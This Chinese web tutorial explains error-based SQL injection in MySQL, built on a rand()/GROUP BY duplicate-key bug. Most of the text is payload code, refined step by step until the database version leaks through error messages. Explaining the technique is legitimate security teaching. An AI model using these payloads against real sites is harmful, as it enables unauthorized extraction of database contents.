欢迎来到科站长!

脚本攻防

当前位置: 主页 > 网络安全 > 脚本攻防

网站MYSQL数据库高级爆错注入原分析

时间:2024-12-02 11:22:25|栏目:脚本攻防|点击:

这里主要用了mysql的一个BUG :http://bugs.mysql.com/bug.php?id=8652
grouping on certain parts of the result from rand, causes a duplicate key error.

重现过程:

SQL Code复制内容到剪贴板
  1. use mysql;   
  2. create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);   
  3. select left(rand(),3),a from r1 group by 1;   
  4. select left(rand(),3),a, count(*) from r1 group by 1;   
  5. select round(rand(1),1)  ,a, count(*) from r1 group by 1;  

于是便可以这样拿来爆错注入了。
 

复制代码
代码如下:

select count(*),concat((select version()),left(rand(),3))x from inform<span style="line-height:1.5;">ation_schema.tables group by x;</span>


尝试拿来实战
 

复制代码
代码如下:

select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);


提示错误 选择的列应该为一个。那么。我们换一下


复制代码
代码如下:

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span style="font-family:'sans serif', tahoma, verdana, helvetica;font-size:12px;line-height:1.5;"></span>


 

复制代码
代码如下:

1248 (42000): Every derived table must have its own alias


提示多表查询要有别名 那好办
 

复制代码
代码如下:

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);


或者
 

复制代码
代码如下:

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);


成功爆粗注入了.


上一篇:网站个人渗透技巧收集与总结

栏    目:脚本攻防

下一篇:详解如何通过“鼠洞”控制电脑

本文标题:网站MYSQL数据库高级爆错注入原分析

本文地址:https://fushidao.cc/wangluoanquan/1387.html

广告投放 | 联系我们 | 版权申明

申明:本站所有的文章、图片、评论等,均由网友发表或上传并维护或收集自网络,属个人行为,与本站立场无关。

如果侵犯了您的权利,请与我们联系,我们将在24小时内进行处理、任何非本站因素导致的法律后果,本站均不负任何责任。

联系QQ:1205677645 | 邮箱:1205677645@qq.com

Copyright © 2018-2024 科站长 版权所有冀ICP备14023439号